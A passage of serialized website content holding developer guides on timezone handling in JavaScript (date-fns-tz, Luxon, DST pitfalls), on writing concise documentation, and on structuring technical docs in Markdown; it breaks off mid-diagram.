tree-shakable, immutable",[216,225644,109754,225645,22749],{},[143,225646,133640],{},[199,225648,225649,225653,225656,225659],{},[216,225650,225651],{},[143,225652,208639],{},[216,225654,225655],{},"~18 KB",[216,225657,225658],{},"Rich API, built on Intl, timezone-first",[216,225660,225661],{},"Larger bundle than alternatives",[199,225663,225664,225670,225673,225676],{},[216,225665,225666,225669],{},[143,225667,225668],{},"dayjs"," + plugin",[216,225671,225672],{},"~7 KB",[216,225674,225675],{},"Moment-compatible API, lightweight",[216,225677,225678],{},"Timezone support via optional plugin",[16,225680,225681,225686],{},[47,225682,59011,225683,468],{},[143,225684,225685],{},"moment.js"," It is deprecated, mutable, and 67 KB uncompressed. Modern alternatives are smaller, immutable, and actively maintained.",[33,225688,225690],{"id":225689},"date-fns-tz-example","date-fns-tz Example",[135,225692,225694],{"className":1607,"code":225693,"language":1609,"meta":141,"style":141},"import { formatInTimeZone } from \"date-fns-tz\"\n\nconst date = new Date(\"2026-05-28T18:00:00Z\")\nformatInTimeZone(date, \"Asia\u002FTokyo\", \"yyyy-MM-dd HH:mm zzz\")\n\u002F\u002F \"2026-05-29 03:00 JST\"\n",[143,225695,225696,225708,225712,225730,225748],{"__ignoreMap":141},[1560,225697,225698,225700,225703,225705],{"class":1562,"line":1563},[1560,225699,8162],{"class":1669},[1560,225701,225702],{"class":1570}," { formatInTimeZone } ",[1560,225704,8168],{"class":1669},[1560,225706,225707],{"class":5634}," \"date-fns-tz\"\n",[1560,225709,225710],{"class":1562,"line":337},[1560,225711,1702],{"emptyLinePlaceholder":363},[1560,225713,225714,225716,225718,225720,225722,225724,225726,225728],{"class":1562,"line":343},[1560,225715,8180],{"class":1669},[1560,225717,87637],{"class":1576},[1560,225719,8186],{"class":1669},[1560,225721,11489],{"class":1669},[1560,225723,87644],{"class":1566},[1560,225725,1688],{"class":1570},[1560,225727,225268],{"class":5634},[1560,225729,8252],{"class":1570},[1560,225731,225732,225735,225738,225741,225743,225746],{"class":1562,"line":365},[1560,225733,225734],{"class":1566},"formatInTimeZone",[1560,225736,225737],{"class":1570},"(date, ",[1560,225739,225740],{"class":5634},"\"Asia\u002FTokyo\"",[1560,225742,1459],{"class":1570},[1560,225744,225745],{"class":5634},"\"yyyy-MM-dd HH:mm zzz\"",[1560,225747,8252],{"class":1570},[1560,225749,225750],{"class":1562,"line":889},[1560,225751,225752],{"class":1649},"\u002F\u002F \"2026-05-29 03:00 JST\"\n",[33,225754,225756],{"id":225755},"luxon-example","Luxon Example",[135,225758,225760],{"className":1607,"code":225759,"language":1609,"meta":141,"style":141},"import { DateTime } from \"luxon\"\n\nDateTime.fromISO(\"2026-05-28T18:00:00Z\")\n  .setZone(\"America\u002FLos_Angeles\")\n  .toFormat(\"yyyy-MM-dd hh:mm a ZZZZ\")\n\u002F\u002F \"2026-05-28 11:00 AM PDT\"\n",[143,225761,225762,225774,225778,225791,225805,225819],{"__ignoreMap":141},[1560,225763,225764,225766,225769,225771],{"class":1562,"line":1563},[1560,225765,8162],{"class":1669},[1560,225767,225768],{"class":1570}," { DateTime } ",[1560,225770,8168],{"class":1669},[1560,225772,225773],{"class":5634}," \"luxon\"\n",[1560,225775,225776],{"class":1562,"line":337},[1560,225777,1702],{"emptyLinePlaceholder":363},[1560,225779,225780,225783,225785,225787,225789],{"class":1562,"line":343},[1560,225781,225782],{"class":1570},"DateTime.",[1560,225784,208696],{"class":1566},[1560,225786,1688],{"class":1570},[1560,225788,225268],{"class":5634},[1560,225790,8252],{"class":1570},[1560,225792,225793,225795,225798,225800,225803],{"class":1562,"line":365},[1560,225794,42200],{"class":1570},[1560,225796,225797],{"class":1566},"setZone",[1560,225799,1688],{"class":1570},[1560,225801,225802],{"class":5634},"\"America\u002FLos_Angeles\"",[1560,225804,8252],{"class":1570},[1560,225806,225807,225809,225812,225814,225817],{"class":1562,"line":889},[1560,225808,42200],{"class":1570},[1560,225810,225811],{"class":1566},"toFormat",[1560,225813,1688],{"class":1570},[1560,225815,225816],{"class":5634},"\"yyyy-MM-dd hh:mm a ZZZZ\"",[1560,225818,8252],{"class":1570},[1560,225820,225821],{"class":1562,"line":1710},[1560,225822,225823],{"class":1649},"\u002F\u002F \"2026-05-28 11:00 AM PDT\"\n",[11,225825,225827],{"id":225826},"common-timezone-bugs-and-fixes","Common Timezone Bugs and Fixes",[33,225829,225831],{"id":225830},"bug-adding-hours-across-dst","Bug: Adding Hours Across DST",[135,225833,225835],{"className":1607,"code":225834,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD — adds 24 hours in local time, which may be 23 or 25 real hours\nconst tomorrow = new Date()\ntomorrow.setDate(tomorrow.getDate() + 1)\n",[143,225836,225837,225842,225856],{"__ignoreMap":141},[1560,225838,225839],{"class":1562,"line":1563},[1560,225840,225841],{"class":1649},"\u002F\u002F BAD — adds 24 hours in local time, which may be 23 or 25 real hours\n",[1560,225843,225844,225846,225848,225850,225852,225854],{"class":1562,"line":337},[1560,225845,8180],{"class":1669},[1560,225847,89535],{"class":1576},[1560,225849,8186],{"class":1669},[1560,225851,11489],{"class":1669},[1560,225853,87644],{"class":1566},[1560,225855,27830],{"class":1570},[1560,225857,225858,225860,225862,225864,225866,225868,225870,225872],{"class":1562,"line":343},[1560,225859,89606],{"class":1570},[1560,225861,87659],{"class":1566},[1560,225863,89611],{"class":1570},[1560,225865,87665],{"class":1566},[1560,225867,38111],{"class":1570},[1560,225869,9448],{"class":1669},[1560,225871,18868],{"class":1576},[1560,225873,8252],{"class":1570},[16,225875,225876,225878],{},[47,225877,1852],{}," Work in UTC for arithmetic, then convert to local for display.",[33,225880,225882],{"id":225881},"bug-parsing-without-an-offset","Bug: Parsing Without an Offset",[135,225884,225886],{"className":1607,"code":225885,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD — JavaScript interprets this as local time\nnew Date(\"2026-05-28T14:00:00\")\n\u002F\u002F Result varies by machine timezone\n\n\u002F\u002F GOOD — explicit UTC\nnew Date(\"2026-05-28T14:00:00Z\")\n\u002F\u002F Same result everywhere\n",[143,225887,225888,225893,225906,225911,225915,225920,225933],{"__ignoreMap":141},[1560,225889,225890],{"class":1562,"line":1563},[1560,225891,225892],{"class":1649},"\u002F\u002F BAD — JavaScript interprets this as local time\n",[1560,225894,225895,225897,225899,225901,225904],{"class":1562,"line":337},[1560,225896,20807],{"class":1669},[1560,225898,87644],{"class":1566},[1560,225900,1688],{"class":1570},[1560,225902,225903],{"class":5634},"\"2026-05-28T14:00:00\"",[1560,225905,8252],{"class":1570},[1560,225907,225908],{"class":1562,"line":343},[1560,225909,225910],{"class":1649},"\u002F\u002F Result varies by machine timezone\n",[1560,225912,225913],{"class":1562,"line":365},[1560,225914,1702],{"emptyLinePlaceholder":363},[1560,225916,225917],{"class":1562,"line":889},[1560,225918,225919],{"class":1649},"\u002F\u002F GOOD — explicit UTC\n",[1560,225921,225922,225924,225926,225928,225931],{"class":1562,"line":1710},[1560,225923,20807],{"class":1669},[1560,225925,87644],{"class":1566},[1560,225927,1688],{"class":1570},[1560,225929,225930],{"class":5634},"\"2026-05-28T14:00:00Z\"",[1560,225932,8252],{"class":1570},[1560,225934,225935],{"class":1562,"line":1717},[1560,225936,225937],{"class":1649},"\u002F\u002F Same result everywhere\n",[33,225939,225941],{"id":225940},"bug-storing-timezone-names-separately","Bug: Storing Timezone Names Separately",[135,225943,225946],{"className":225944,"code":225945,"language":140,"meta":141},[138],"\u002F\u002F BAD\n{ \"time\": \"2026-05-28T14:00:00\", \"tz\": \"America\u002FNew_York\" }\n\n\u002F\u002F GOOD — the offset is part of the timestamp\n{ \"time\": \"2026-05-28T14:00:00-04:00\" }\n",[143,225947,225945],{"__ignoreMap":141},[16,225949,225950],{},"Storing the timezone separately forces every consumer to recompute the offset. Embedding the offset in the timestamp makes the value self-describing.",[11,225952,225954],{"id":225953},"quick-checklist","Quick Checklist",[41,225956,225958,225964,225975,225984,225990,225999,226005],{"className":225957},[4464],[44,225959,225961,225963],{"className":225960},[4468],[4470,225962],{"disabled":363,"type":4472}," All timestamps stored in UTC",[44,225965,225967,225969,225970,1531,225972,225974],{"className":225966},[4468],[4470,225968],{"disabled":363,"type":4472}," ISO 8601 format with offset (",[143,225971,22039],{},[143,225973,225345],{},") used everywhere",[44,225976,225978,225980,225981,225983],{"className":225977},[4468],[4470,225979],{"disabled":363,"type":4472}," Local display uses ",[143,225982,206461],{}," API or a timezone-aware library",[44,225985,225987,225989],{"className":225986},[4468],[4470,225988],{"disabled":363,"type":4472}," No hardcoded UTC offsets in configuration",[44,225991,225993,225995,225996,225998],{"className":225992},[4468],[4470,225994],{"disabled":363,"type":4472}," No ",[143,225997,225685],{}," in dependencies",[44,226000,226002,226004],{"className":226001},[4468],[4470,226003],{"disabled":363,"type":4472}," Date arithmetic performed in UTC, not local time",[44,226006,226008,226010],{"className":226007},[4468],[4470,226009],{"disabled":363,"type":4472}," DST transition dates tested explicitly",[11,226012,321],{"id":320},[41,226014,226015,226019],{},[44,226016,226017],{},[98,226018,89788],{"href":89787},[44,226020,226021],{},[98,226022,206353],{"href":206853},[11,226024,286],{"id":285},[16,226026,29979,226027,226029,226030,226032],{},[98,226028,960],{"href":89808}," to verify timezone conversions — and the ",[98,226031,623],{"href":622}," to switch between Unix timestamps and readable dates.",[2043,226034,95238],{},{"title":141,"searchDepth":337,"depth":337,"links":226036},[226037,226038,226039,226040,226041,226046,226050,226055,226056,226057],{"id":225182,"depth":337,"text":225183},{"id":225192,"depth":337,"text":225193},{"id":225233,"depth":337,"text":225234},{"id":225306,"depth":337,"text":225307},{"id":225353,"depth":337,"text":225354,"children":226042},[226043,226044,226045],{"id":225363,"depth":343,"text":225364},{"id":225459,"depth":343,"text":225460},{"id":225494,"depth":343,"text":225495},{"id":225608,"depth":337,"text":225609,"children":226047},[226048,226049],{"id":225689,"depth":343,"text":225690},{"id":225755,"depth":343,"text":225756},{"id":225826,"depth":337,"text":225827,"children":226051},[226052,226053,226054],{"id":225830,"depth":343,"text":225831},{"id":225881,"depth":343,"text":225882},{"id":225940,"depth":343,"text":225941},{"id":225953,"depth":337,"text":225954},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Best practices for handling timezones in code — UTC, ISO 8601, the Intl API, and avoiding common timezone bugs.",{"immutable":363},{"title":89794,"description":226058},"guides\u002Fworking-with-timezones","DVIjT79jmP9gxLCnHgzsGUEGpuax2gDZKABBuPcvCZc",{"id":226064,"title":226065,"body":226066,"date":2070,"description":226487,"extension":361,"meta":226488,"navigation":363,"path":226489,"readingTime":1710,"seo":226490,"stem":226491,"__hash__":226492},"guides\u002Fguides\u002Fwriting-concise-documentation.md","Writing Concise Documentation: Say More with Fewer Words",{"type":8,"value":226067,"toc":226467},[226068,226072,226075,226078,226082,226086,226089,226118,226121,226125,226128,226169,226172,226178,226181,226185,226188,226241,226244,226248,226251,226285,226288,226292,226295,226324,226327,226331,226335,226338,226342,226345,226349,226352,226356,226359,226363,226366,226370,226373,226431,226433,226453,226455,226461,226465],[11,226069,226071],{"id":226070},"concise-documentation-saves-everyone-time","Concise Documentation Saves Everyone Time",[16,226073,226074],{},"Developers read documentation to solve problems quickly. Every unnecessary word adds friction. Concise writing is not about removing detail — it is about presenting the right detail efficiently. When you write less, readers understand more.",[16,226076,226077],{},"This guide provides actionable techniques for cutting documentation length while improving clarity.",[11,226079,226081],{"id":226080},"principle-1-lead-with-the-answer","Principle 1: Lead With the Answer",[33,226083,226085],{"id":226084},"pattern-problem-explanation-answer","Pattern: Problem → Explanation → Answer",[16,226087,226088],{},"Many documentation writers build up to the answer. Readers want the answer first.",[135,226090,226092],{"className":34628,"code":226091,"language":34630,"meta":141,"style":141},"❌ When working with arrays in JavaScript, you may encounter situations where\nyou need to transform each element. The `map()` method creates a new array\nby applying a function to every element of the original array.\n\n✅ Use `Array.map()` to transform every element in an array:\n",[143,226093,226094,226099,226104,226109,226113],{"__ignoreMap":141},[1560,226095,226096],{"class":1562,"line":1563},[1560,226097,226098],{},"❌ When working with arrays in JavaScript, you may encounter situations where\n",[1560,226100,226101],{"class":1562,"line":337},[1560,226102,226103],{},"you need to transform each element. The `map()` method creates a new array\n",[1560,226105,226106],{"class":1562,"line":343},[1560,226107,226108],{},"by applying a function to every element of the original array.\n",[1560,226110,226111],{"class":1562,"line":365},[1560,226112,1702],{"emptyLinePlaceholder":363},[1560,226114,226115],{"class":1562,"line":889},[1560,226116,226117],{},"✅ Use `Array.map()` to transform every element in an array:\n",[16,226119,226120],{},"The concise version states the solution immediately. Context follows only if needed.",[33,226122,226124],{"id":226123},"pattern-beforeafter-statements","Pattern: Before\u002FAfter Statements",[16,226126,226127],{},"When documenting a change or migration, show the result before explaining why:",[135,226129,226131],{"className":34628,"code":226130,"language":34630,"meta":141,"style":141},"❌ The old configuration format used YAML, but we've migrated to TOML\nfor better type support. Your config file should now look like this:\n\n✅ Configuration is now TOML:\n```toml\n[database]\nhost = \"localhost\"\nport = 5432\n",[143,226132,226133,226138,226143,226147,226152,226157,226161,226165],{"__ignoreMap":141},[1560,226134,226135],{"class":1562,"line":1563},[1560,226136,226137],{},"❌ The old configuration format used YAML, but we've migrated to TOML\n",[1560,226139,226140],{"class":1562,"line":337},[1560,226141,226142],{},"for better type support. Your config file should now look like this:\n",[1560,226144,226145],{"class":1562,"line":343},[1560,226146,1702],{"emptyLinePlaceholder":363},[1560,226148,226149],{"class":1562,"line":365},[1560,226150,226151],{},"✅ Configuration is now TOML:\n",[1560,226153,226154],{"class":1562,"line":889},[1560,226155,226156],{},"```toml\n",[1560,226158,226159],{"class":1562,"line":1710},[1560,226160,37404],{},[1560,226162,226163],{"class":1562,"line":1717},[1560,226164,37409],{},[1560,226166,226167],{"class":1562,"line":1747},[1560,226168,37414],{},[16,226170,226171],{},"Previously this was YAML. See Migration Guide for details.",[135,226173,226176],{"className":226174,"code":226175,"language":140},[138],"\n## Principle 2: Eliminate Filler Phrases\n\nThese phrases add words without adding information:\n\n| Filler Phrase | Concise Replacement |\n|--------------|-------------------|\n| \"In order to\" | \"To\" |\n| \"It is important to note that\" | Remove entirely |\n| \"As a matter of fact\" | Remove entirely |\n| \"Due to the fact that\" | \"Because\" |\n| \"At this point in time\" | \"Now\" |\n| \"For the purpose of\" | \"To\" |\n| \"In the event that\" | \"If\" |\n| \"There is\u002Fare\" | Restructure |\n| \"It should be noted that\" | Remove entirely |\n\n### Example\n\n```markdown\n❌ It is important to note that in order to configure the database,\nyou need to ensure that the connection string is set in the event\nthat you are using a remote server.\n\n✅ Set the connection string for remote database connections.\n",[143,226177,226175],{"__ignoreMap":141},[16,226179,226180],{},"Three sentences become one. The meaning is identical.",[11,226182,226184],{"id":226183},"principle-3-use-lists-instead-of-paragraphs","Principle 3: Use Lists Instead of Paragraphs",[16,226186,226187],{},"Lists are scannable. Paragraphs are not. When you have three or more related items, use a list.",[135,226189,226191],{"className":34628,"code":226190,"language":34630,"meta":141,"style":141},"❌ The API supports several authentication methods including API keys,\nOAuth 2.0 bearer tokens, and HMAC signatures. API keys are the simplest\nto implement. OAuth 2.0 is recommended for user-facing applications.\nHMAC signatures provide the highest security for server-to-server calls.\n\n✅ Supported authentication methods:\n\n- **API keys** — simplest to implement\n- **OAuth 2.0** — recommended for user-facing apps\n- **HMAC signatures** — highest security for server-to-server calls\n",[143,226192,226193,226198,226203,226208,226213,226217,226222,226226,226231,226236],{"__ignoreMap":141},[1560,226194,226195],{"class":1562,"line":1563},[1560,226196,226197],{},"❌ The API supports several authentication methods including API keys,\n",[1560,226199,226200],{"class":1562,"line":337},[1560,226201,226202],{},"OAuth 2.0 bearer tokens, and HMAC signatures. API keys are the simplest\n",[1560,226204,226205],{"class":1562,"line":343},[1560,226206,226207],{},"to implement. OAuth 2.0 is recommended for user-facing applications.\n",[1560,226209,226210],{"class":1562,"line":365},[1560,226211,226212],{},"HMAC signatures provide the highest security for server-to-server calls.\n",[1560,226214,226215],{"class":1562,"line":889},[1560,226216,1702],{"emptyLinePlaceholder":363},[1560,226218,226219],{"class":1562,"line":1710},[1560,226220,226221],{},"✅ Supported authentication methods:\n",[1560,226223,226224],{"class":1562,"line":1717},[1560,226225,1702],{"emptyLinePlaceholder":363},[1560,226227,226228],{"class":1562,"line":1747},[1560,226229,226230],{},"- **API keys** — simplest to implement\n",[1560,226232,226233],{"class":1562,"line":2507},[1560,226234,226235],{},"- **OAuth 2.0** — recommended for user-facing apps\n",[1560,226237,226238],{"class":1562,"line":2524},[1560,226239,226240],{},"- **HMAC signatures** — highest security for server-to-server calls\n",[16,226242,226243],{},"The list version is 40% shorter and easier to scan.",[11,226245,226247],{"id":226246},"principle-4-one-idea-per-sentence","Principle 4: One Idea Per Sentence",[16,226249,226250],{},"Long sentences with multiple clauses force re-reading. Break them apart.",[135,226252,226254],{"className":34628,"code":226253,"language":34630,"meta":141,"style":141},"❌ The linter checks your code for style violations and will\nautomatically fix issues when you pass the --fix flag, although\nsome violations require manual intervention.\n\n✅ The linter checks for style violations. Pass `--fix` to auto-fix\nmost issues. Some violations require manual fixes.\n",[143,226255,226256,226261,226266,226271,226275,226280],{"__ignoreMap":141},[1560,226257,226258],{"class":1562,"line":1563},[1560,226259,226260],{},"❌ The linter checks your code for style violations and will\n",[1560,226262,226263],{"class":1562,"line":337},[1560,226264,226265],{},"automatically fix issues when you pass the --fix flag, although\n",[1560,226267,226268],{"class":1562,"line":343},[1560,226269,226270],{},"some violations require manual intervention.\n",[1560,226272,226273],{"class":1562,"line":365},[1560,226274,1702],{"emptyLinePlaceholder":363},[1560,226276,226277],{"class":1562,"line":889},[1560,226278,226279],{},"✅ The linter checks for style violations. Pass `--fix` to auto-fix\n",[1560,226281,226282],{"class":1562,"line":1710},[1560,226283,226284],{},"most issues. Some violations require manual fixes.\n",[16,226286,226287],{},"Each sentence carries one idea. The reader processes each step before moving to the next.",[11,226289,226291],{"id":226290},"principle-5-active-voice","Principle 5: Active Voice",[16,226293,226294],{},"Passive voice hides the actor and adds words:",[135,226296,226298],{"className":34628,"code":226297,"language":34630,"meta":141,"style":141},"❌ The configuration file is parsed by the application on startup.\n✅ The application parses the configuration file on startup.\n\n❌ It is recommended that HTTPS be used in production.\n✅ Use HTTPS in production.\n",[143,226299,226300,226305,226310,226314,226319],{"__ignoreMap":141},[1560,226301,226302],{"class":1562,"line":1563},[1560,226303,226304],{},"❌ The configuration file is parsed by the application on startup.\n",[1560,226306,226307],{"class":1562,"line":337},[1560,226308,226309],{},"✅ The application parses the configuration file on startup.\n",[1560,226311,226312],{"class":1562,"line":343},[1560,226313,1702],{"emptyLinePlaceholder":363},[1560,226315,226316],{"class":1562,"line":365},[1560,226317,226318],{},"❌ It is recommended that HTTPS be used in production.\n",[1560,226320,226321],{"class":1562,"line":889},[1560,226322,226323],{},"✅ Use HTTPS in production.\n",[16,226325,226326],{},"Active voice is shorter and clearer. Reserve passive voice for when the actor genuinely doesn't matter.",[11,226328,226330],{"id":226329},"practical-editing-workflow","Practical Editing Workflow",[33,226332,226334],{"id":226333},"pass-1-cut-filler","Pass 1: Cut Filler",[16,226336,226337],{},"Search for the filler phrases listed above. Remove or replace each one.",[33,226339,226341],{"id":226340},"pass-2-convert-paragraphs-to-lists","Pass 2: Convert Paragraphs to Lists",[16,226343,226344],{},"Find any paragraph with three or more parallel items. Convert to a bulleted list.",[33,226346,226348],{"id":226347},"pass-3-shorten-sentences","Pass 3: Shorten Sentences",[16,226350,226351],{},"Find sentences over 25 words. Split them.",[33,226353,226355],{"id":226354},"pass-4-eliminate-redundancy","Pass 4: Eliminate Redundancy",[16,226357,226358],{},"Find repeated information. Keep it once, in the most relevant section.",[33,226360,226362],{"id":226361},"pass-5-verify-completeness","Pass 5: Verify Completeness",[16,226364,226365],{},"After cutting, re-read to ensure no essential information was removed. Concise writing must remain accurate.",[11,226367,226369],{"id":226368},"measuring-conciseness","Measuring Conciseness",[16,226371,226372],{},"Track your documentation's density with these metrics:",[193,226374,226375,226386],{},[196,226376,226377],{},[199,226378,226379,226381,226384],{},[202,226380,15609],{},[202,226382,226383],{},"Target",[202,226385,751],{},[211,226387,226388,226399,226409,226420],{},[199,226389,226390,226393,226396],{},[216,226391,226392],{},"Average sentence length",[216,226394,226395],{},"15-20 words",[216,226397,226398],{},"Word counter",[199,226400,226401,226404,226407],{},[216,226402,226403],{},"Paragraph length",[216,226405,226406],{},"3-4 sentences",[216,226408,124118],{},[199,226410,226411,226414,226417],{},[216,226412,226413],{},"Filler word ratio",[216,226415,226416],{},"\u003C 5%",[216,226418,226419],{},"Text analysis",[199,226421,226422,226425,226428],{},[216,226423,226424],{},"Time to first answer",[216,226426,226427],{},"\u003C 30 seconds",[216,226429,226430],{},"User testing",[11,226432,1355],{"id":1354},[41,226434,226435,226438,226441,226444,226447,226450],{},[44,226436,226437],{},"Lead with the answer — readers scan, they don't read linearly",[44,226439,226440],{},"Eliminate filler phrases like \"in order to\" and \"it is important to note\"",[44,226442,226443],{},"Convert paragraphs with 3+ items into scannable lists",[44,226445,226446],{},"One idea per sentence — split long sentences at conjunctions",[44,226448,226449],{},"Prefer active voice for shorter, clearer sentences",[44,226451,226452],{},"Follow a structured editing workflow: cut filler, convert to lists, shorten sentences, remove redundancy, verify completeness",[11,226454,286],{"id":285},[16,226456,226457,226458,226460],{},"Measure and improve your documentation's conciseness with our free ",[98,226459,3237],{"href":3236},". Paste any text to instantly see word count, character count, average sentence length, and estimated reading time — all processed locally in your browser.",[16,226462,226463],{},[98,226464,190333],{"href":3236},[2043,226466,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":226468},[226469,226470,226474,226475,226476,226477,226484,226485,226486],{"id":226070,"depth":337,"text":226071},{"id":226080,"depth":337,"text":226081,"children":226471},[226472,226473],{"id":226084,"depth":343,"text":226085},{"id":226123,"depth":343,"text":226124},{"id":226183,"depth":337,"text":226184},{"id":226246,"depth":337,"text":226247},{"id":226290,"depth":337,"text":226291},{"id":226329,"depth":337,"text":226330,"children":226478},[226479,226480,226481,226482,226483],{"id":226333,"depth":343,"text":226334},{"id":226340,"depth":343,"text":226341},{"id":226347,"depth":343,"text":226348},{"id":226354,"depth":343,"text":226355},{"id":226361,"depth":343,"text":226362},{"id":226368,"depth":337,"text":226369},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn practical techniques for writing concise technical documentation. Reduce word count without losing clarity using active voice, structure, and editing patterns.",{"immutable":363},"\u002Fguides\u002Fwriting-concise-documentation",{"title":226065,"description":226487},"guides\u002Fwriting-concise-documentation","7-5hh0bx9eS5eUzOPXU2bYzF4cnDxRWsq79CcRpU_2Y",{"id":226494,"title":226495,"body":226496,"date":2070,"description":227000,"extension":361,"meta":227001,"navigation":363,"path":227002,"readingTime":1717,"seo":227003,"stem":227004,"__hash__":227005},"guides\u002Fguides\u002Fwriting-technical-docs-markdown.md","Writing Technical Documentation in Markdown",{"type":8,"value":226497,"toc":226993},[226498,226504,226508,226520,226525,226569,226586,226590,226593,226634,226649,226652,226656,226659,226689,226713,226721,226725,226728,226789,226792,226832,226835,226839,226842,226940,226945,226985,226991],[16,226499,226500,226501,226503],{},"Markdown has become the default format for technical documentation. README files, API docs, design specs, and knowledge bases all use it. But good documentation is more than just ",[143,226502,146513],{}," files with some headings — it requires deliberate structure, consistent formatting, and a workflow that keeps content accurate over time.",[11,226505,226507],{"id":226506},"structuring-technical-documents","Structuring Technical Documents",[16,226509,226510,226511,226513,226514,226516,226517,226519],{},"A technical document should answer three questions in order: ",[47,226512,78029],{}," it is, ",[47,226515,78036],{}," to use it, and ",[47,226518,137740],{}," it works that way. Structure your Markdown accordingly.",[16,226521,226522],{},[47,226523,226524],{},"Recommended section order:",[77,226526,226527,226533,226539,226545,226551,226557,226563],{},[44,226528,226529,226532],{},[47,226530,226531],{},"Title and one-sentence summary"," — the frontmatter title plus a brief description in the first paragraph",[44,226534,226535,226538],{},[47,226536,226537],{},"Prerequisites"," — what the reader needs before starting (installed tools, API keys, knowledge)",[44,226540,226541,226544],{},[47,226542,226543],{},"Quick start"," — the shortest path to a working result",[44,226546,226547,226550],{},[47,226548,226549],{},"Detailed explanation"," — expand on each concept with examples",[44,226552,226553,226556],{},[47,226554,226555],{},"Reference"," — tables, configuration options, API endpoints",[44,226558,226559,226562],{},[47,226560,226561],{},"Troubleshooting"," — common errors and fixes",[44,226564,226565,226568],{},[47,226566,226567],{},"Changelog or version notes"," — when details change between versions",[16,226570,1388,226571,226574,226575,226578,226579,226581,226582,226585],{},[143,226572,226573],{},"##"," headings for major sections and ",[143,226576,226577],{},"###"," for subsections. Avoid going deeper than ",[143,226580,226577],{}," — if you need ",[143,226583,226584],{},"####",", consider splitting the document.",[11,226587,226589],{"id":226588},"formatting-for-readability","Formatting for Readability",[16,226591,226592],{},"Technical readers scan before they read. Format your Markdown to support scanning:",[41,226594,226595,226601,226611,226622,226628],{},[44,226596,226597,226600],{},[47,226598,226599],{},"Use tables for comparisons and configuration options"," — they align information vertically, which is faster to parse than paragraphs",[44,226602,226603,226606,226607,226610],{},[47,226604,226605],{},"Use code blocks for everything that belongs in a terminal or editor"," — inline code (",[143,226608,226609],{},"backticks",") for commands, file names, and short values; fenced blocks for multi-line examples",[44,226612,226613,226616,226617,1856,226619,226621],{},[47,226614,226615],{},"Use callouts for warnings and important notes"," — GitHub supports ",[143,226618,110239],{},[143,226620,110242],{}," syntax; other platforms use blockquotes with bold labels",[44,226623,226624,226627],{},[47,226625,226626],{},"Use numbered lists for sequential steps"," — ordered lists signal \"do this, then this\"",[44,226629,226630,226633],{},[47,226631,226632],{},"Use bullet lists for non-sequential items"," — unordered lists signal \"these are related but order does not matter\"",[135,226635,226637],{"className":34628,"code":226636,"language":34630,"meta":141,"style":141},"> [!WARNING]\n> This operation is irreversible. Back up your database before running the migration.\n",[143,226638,226639,226644],{"__ignoreMap":141},[1560,226640,226641],{"class":1562,"line":1563},[1560,226642,226643],{},"> [!WARNING]\n",[1560,226645,226646],{"class":1562,"line":337},[1560,226647,226648],{},"> This operation is irreversible. Back up your database before running the migration.\n",[16,226650,226651],{},"Keep paragraphs short — three to four lines maximum. Dense paragraphs in technical docs get skipped.",[11,226653,226655],{"id":226654},"code-examples-that-actually-work","Code Examples That Actually Work",[16,226657,226658],{},"Code examples are the most valuable part of technical documentation — and the most likely to be wrong. Follow these rules:",[77,226660,226661,226667,226677,226683],{},[44,226662,226663,226666],{},[47,226664,226665],{},"Every code block must be runnable"," — copy-paste should produce the described result without hidden dependencies",[44,226668,226669,226672,226673,226676],{},[47,226670,226671],{},"Include the language identifier"," in the fence — ",[143,226674,226675],{},"```javascript"," enables syntax highlighting and tells readers what language to expect",[44,226678,226679,226682],{},[47,226680,226681],{},"Show input and output"," — when describing a function, show both the call and the result",[44,226684,226685,226688],{},[47,226686,226687],{},"Annotate complex lines"," — use comments inside the code block instead of explaining below it",[135,226690,226692],{"className":8259,"code":226691,"language":8261,"meta":141,"style":141},"# Fetch user by ID — raises NotFoundError if the user does not exist\nuser = client.get_user(user_id=42)\n\n# Returns: User(name=\"Alice\", role=\"admin\", created_at=\"2025-01-15\")\n",[143,226693,226694,226699,226704,226708],{"__ignoreMap":141},[1560,226695,226696],{"class":1562,"line":1563},[1560,226697,226698],{},"# Fetch user by ID — raises NotFoundError if the user does not exist\n",[1560,226700,226701],{"class":1562,"line":337},[1560,226702,226703],{},"user = client.get_user(user_id=42)\n",[1560,226705,226706],{"class":1562,"line":343},[1560,226707,1702],{"emptyLinePlaceholder":363},[1560,226709,226710],{"class":1562,"line":365},[1560,226711,226712],{},"# Returns: User(name=\"Alice\", role=\"admin\", created_at=\"2025-01-15\")\n",[77,226714,226715],{"start":889},[44,226716,226717,226720],{},[47,226718,226719],{},"Version your examples"," — if your library's API changed between versions, label code blocks with the version they apply to",[11,226722,226724],{"id":226723},"diagrams-and-visual-documentation","Diagrams and Visual Documentation",[16,226726,226727],{},"Plain Markdown does not support diagrams, but several extensions fill the gap:",[193,226729,226730,226741],{},[196,226731,226732],{},[199,226733,226734,226736,226738],{},[202,226735,751],{},[202,226737,28715],{},[202,226739,226740],{},"Renders In",[211,226742,226743,226757,226770,226778],{},[199,226744,226745,226748,226754],{},[216,226746,226747],{},"Mermaid",[216,226749,226750,226753],{},[143,226751,226752],{},"```mermaid"," code fences",[216,226755,226756],{},"GitHub, GitLab, Notion, many Markdown editors",[199,226758,226759,226762,226767],{},[216,226760,226761],{},"PlantUML",[216,226763,226764,226753],{},[143,226765,226766],{},"```plantuml",[216,226768,226769],{},"GitLab, some VS Code extensions",[199,226771,226772,226774,226776],{},[216,226773,40828],{},[216,226775,34829],{},[216,226777,16453],{},[199,226779,226780,226783,226786],{},[216,226781,226782],{},"Excalidraw",[216,226784,226785],{},"Separate file + embed",[216,226787,226788],{},"Notion, custom setups",[16,226790,226791],{},"Mermaid is the most portable choice. It supports flowcharts, sequence diagrams, class diagrams, and Gantt charts:",[135,226793,226795],{"className":34628,"code":226794,"language":34630,"meta":141,"style":141},"```mermaid\nsequenceDiagram\n    Client->>API: POST \u002Fusers\n    API->>DB: INSERT user\n    DB-->>API: user_id\n    API-->>Client: 201 Created\n`` ` \n",[143,226796,226797,226802,226807,226812,226817,226822,226827],{"__ignoreMap":141},[1560,226798,226799],{"class":1562,"line":1563},[1560,226800,226801],{},"```mermaid\n",[1560,226803,226804],{"class":1562,"line":337},[1560,226805,226806],{},"sequenceDiagram\n",[1560,226808,226809],{"class":1562,"line":343},[1560,226810,226811],{},"    Client->>API: POST \u002Fusers\n",[1560,226813,226814],{"class":1562,"line":365},[1560,226815,226816],{},"    API->>DB: INSERT user\n",[1560,226818,226819],{"class":1562,"line":889},[1560,226820,226821],{},"    